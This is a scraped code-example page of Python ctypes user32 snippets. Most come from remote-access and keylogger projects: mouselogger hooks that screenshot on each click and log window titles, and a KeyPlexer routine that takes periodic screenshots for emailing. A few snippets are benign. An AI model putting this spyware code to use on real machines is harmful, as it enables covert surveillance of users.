Python ctypes.windll.user32() Examples
Example 1
Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 7 votes |
def get_current_process(): hwnd = user32.GetForegroundWindow() pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) #process_id = "%d" % pid.value executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) return executable.value, window_title.value
Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 6 votes |
def get_current_process(): hwnd = user32.GetForegroundWindow() pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) #process_id = "%d" % pid.value executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) return executable.value, window_title.value Example 3
Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 6 votes |
def get_current_process(): hwnd = user32.GetForegroundWindow() pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) #process_id = "%d" % pid.value executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) return executable.value, window_title.value Example 4
Project: KeyPlexer Author: nairuzabulhul File: screenshots.py View Source Project | 6 votes |
def capture_screenshots(file_path): """This function takes snap shots of the host machine and send them by email. Every 13 captures image, an email is sent""" # using DPI aware to capture a full screenshot user32 = windll.user32 user32.SetProcessDPIAware() if not os.path.exists(file_path): os.mkdir(file_path) #counter = 0 # counter to create multiple screen shots #while True: #time.sleep(2) #evey 10 minutes image = ImageGrab.grab() # grab the image save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') + '.jpg') image.save(save_as)
Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes |
def queryMousePosition(): pt = POINT() windll.user32.GetCursorPos(byref(pt)) return { "x": pt.x, "y": pt.y}
Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes |
def __init__(self, *args, **kwargs): threading.Thread.__init__(self, *args, **kwargs) self.hooked = None self.daemon=True self.lUser32=user32 self.pointer=None self.stopped=False self.screenshots=[]
Example 7
Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes |
def run(self): if self.install_hook(): #print "mouselogger installed" pass else: raise RuntimeError("couldn't install mouselogger") msg = MSG() user32.GetMessageA(byref(msg),0,0,0) while not self.stopped: time.sleep(1) self.uninstall_hook()
Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes |
def hook_proc(self, nCode, wParam, lParam): ##http://www.pinvoke.net/default.aspx/Constants.WM if wParam == 0x201: buf, height, width = self.get_screenshot() exe, win_title="unknown", "unknown" try: exe, win_title=get_current_process() except Exception: pass self.screenshots.append((str(datetime.datetime.now()), height, width, exe, win_title, base64.b64encode(buf))) return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) #credit: Black Hat Python - https://www.nostarch.com/blackhatpython
Project: Modeling-Cloth Author: the3dadvantage File: ModelingCloth.py View Source Project | 5 votes |
def queryMousePosition(): pt = POINT() windll.user32.GetCursorPos(byref(pt)) return { "x": pt.x, "y": pt.y}
Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes |
def queryMousePosition(): pt = POINT() windll.user32.GetCursorPos(byref(pt)) return { "x": pt.x, "y": pt.y}
Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes |
def __init__(self, *args, **kwargs): threading.Thread.__init__(self, *args, **kwargs) self.hooked = None self.daemon=True self.lUser32=user32 self.pointer=None self.stopped=False self.screenshots=[]
Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes |
def run(self): if self.install_hook(): #print "mouselogger installed" pass else: raise RuntimeError("couldn't install mouselogger") msg = MSG() user32.GetMessageA(byref(msg),0,0,0) while not self.stopped: time.sleep(1) self.uninstall_hook()
Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes |
def hook_proc(self, nCode, wParam, lParam): ##http://www.pinvoke.net/default.aspx/Constants.WM if wParam == 0x201: buf, height, width = self.get_screenshot() exe, win_title="unknown", "unknown" try: exe, win_title=get_current_process() except Exception: pass self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf)) return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) #credit: Black Hat Python - https://www.nostarch.com/blackhatpython
Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes |
def queryMousePosition(): pt = POINT() windll.user32.GetCursorPos(byref(pt)) return { "x": pt.x, "y": pt.y}
Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes |
def __init__(self, *args, **kwargs): threading.Thread.__init__(self, *args, **kwargs) self.hooked = None self.daemon=True self.lUser32=user32 self.pointer=None self.stopped=False self.screenshots=[]
Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes |
def run(self): if self.install_hook(): #print "mouselogger installed" pass else: raise RuntimeError("couldn't install mouselogger") msg = MSG() user32.GetMessageA(byref(msg),0,0,0) while not self.stopped: time.sleep(1) self.uninstall_hook()
Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes |
def hook_proc(self, nCode, wParam, lParam): ##http://www.pinvoke.net/default.aspx/Constants.WM if wParam == 0x201: buf, height, width = self.get_screenshot() exe, win_title="unknown", "unknown" try: exe, win_title=get_current_process() except Exception: pass self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf)) return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) #credit: Black Hat Python - https://www.nostarch.com/blackhatpython
Project: KeyPlexer Author: nairuzabulhul File: screenshots(OLD module).py View Source Project | 5 votes |
def capture_screenshots(file_path): """This function takes snap shots of the host machine and send them by email. Every 13 captures image, an email is sent""" #threading.Timer(5,capture_screenshots, [file_path]).start() # using DPI aware to capture a full screenshot user32 = windll.user32 user32.SetProcessDPIAware() if not os.path.exists(file_path): os.mkdir(file_path) counter = 0 # counter to create multiple screen shots while True: time.sleep(10) #evey 10 minutes image = ImageGrab.grab() # grab the image save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') + str(counter) + '.jpg') image.save(save_as) counter += 1 if counter == 13: conn = get_current_connection() if conn == True : #print "there is 3 pics in the folder" #send_new_email(file_path) #delete_images(file_path) counter = 0 else: continue
Project: servoshell Author: paulrouget File: build_commands.py View Source Project | 5 votes |
def notify_win(title, text): try: from servo.win32_toast import WindowsToast w = WindowsToast() w.balloon_tip(title, text) except: from ctypes import Structure, windll, POINTER, sizeof from ctypes.wintypes import DWORD, HANDLE, WINFUNCTYPE, BOOL, UINT class FLASHWINDOW(Structure): _fields_ = [("cbSize", UINT), ("hwnd", HANDLE), ("dwFlags", DWORD), ("uCount", UINT), ("dwTimeout", DWORD)] FlashWindowExProto = WINFUNCTYPE(BOOL, POINTER(FLASHWINDOW)) FlashWindowEx = FlashWindowExProto(("FlashWindowEx", windll.user32)) FLASHW_CAPTION = 0x01 FLASHW_TRAY = 0x02 FLASHW_TIMERNOFG = 0x0C params = FLASHWINDOW(sizeof(FLASHWINDOW), windll.kernel32.GetConsoleWindow(), FLASHW_CAPTION | FLASHW_TRAY | FLASHW_TIMERNOFG, 3, 0) FlashWindowEx(params)
https://www.programcreek.com/python/example/53930/ctypes.windll.user32
Python ctypes.windll.user32() Examples的更多相关文章
- 聊聊Python ctypes 模块(转载)
https://zhuanlan.zhihu.com/p/20152309?columnSlug=python-dev 作者:Jerry Jho链接:https://zhuanlan.zhihu.co ...
- python ctypes库3_如何传递并返回一个数组
可以将数组指针传递给dll,但无法返回数组指针,python中没有对应的数组指针类型. 如果需要返回数组,需借助结构体. 参考ctypes官方文档: https://docs.python.org/3 ...
- python ctypes 探究 ---- python 与 c 的交互
近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ...
- [转]python ctypes 探究 ---- python 与 c 的交互
近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ...
- python ctypes小例子
import time import ctypes import ctypes.wintypes SEE_MASK_NOCLOSEPROCESS = 0x00000040 SEE_MASK_INVOK ...
- [Python]ctypes+struct实现类c的结构化数据串行处理
1. 用C/C++实现的结构化数据处理 在涉及到比较底层的通信协议开发过程中, 往往需要开发语言能够有效的表达和处理所定义的通信协议的数据结构. 在这方面是C/C++语言是具有天然优势的: 通过str ...
- python ctypes
official tutorial for ctypes libhttps://docs.python.org/3/library/ctypes.html 1 ctypes exports the c ...
- Python ctypes 在 Python 2 和 Python 3 中的不同 // 使用ctypes过程中问题汇总
In Python 2.7, strings are byte-strings by default. In Python 3.x, they are unicode by default. Try ...
- Python ctypes的byref和pointer有啥区别
byref(n)返回的相当于C的指针右值&n,本身没有被分配空间: >>> from ctypes import *>>> n = c_int(0)> ...
随机推荐
- easyui-datebox 只能获取当前日期以前的日期
<td> <input id="happenTimes" name="happenTimes" class="easyui-date ...
- 3dmax快捷键
P 透视图 F前视图 L 左视图 T 顶视图 B 底视图单窗口与四窗口的切换快捷键是 alt+w 渲染快捷键 shilf+q 独立 快捷键 alt+q 自己多记点快捷键哦!!!!3DMAX2009快捷 ...
- Java 中 == 和 equals 的区别
有一段时间,== 和 equals 的区别一直困扰着我.因为涉及到Java的内存机制,然而Java的内存机制又是比较抽象的东西,所以对那时候的我来说,实在是很难理解. == 和 equals 最大的区 ...
- 安装mysql 初始化的时候报错 Can't find file: './mysql/db.frm' (errno: 13) ERROR: 1017
目录下没有权限 需要权限
- kibana test
https://www.cnblogs.com/yiwangzhibujian/p/7137546.html curl -XPUT http://localhost:9200/shakespeare ...
- Maximum Likelihood及Maximum Likelihood Estimation
1.What is Maximum Likelihood? 极大似然是一种找到最可能解释一组观测数据的函数的方法. Maximum Likelihood is a way to find the mo ...
- 微信小程序开发攻略
首先,需要明确的一点是,小程序开发就是前端开发的一个小分支. 其次,小程序开发框架是一个精简版的React ,并且开发比较简单 . 第一步 获取AppId 小程序注册入口http://https:// ...
- Brainwashing
[Brainwashing] 1.教育和媒体都是“国家意识机器”,他们维持并复制国家领导者的思想. 2.洗脑.情感.意识. 3.洗脑所产生的各种影响具有如下特征:全用暴力,或者进行欺骗,或二者兼有. ...
- C library:<cctype>(ctype.h)
1, isalnum(): check whether c is either a decimal digit or an uppercase or lowercase letter. 2, isal ...
- poj2912(带权并查集+枚举)
题目链接:http://poj.org/problem?id=2912 题意:给n个人,m组关系,玩石头剪刀布的游戏,n个人中除一个人judge以外,其他人属于3个group(即石头.剪刀.布),他们 ...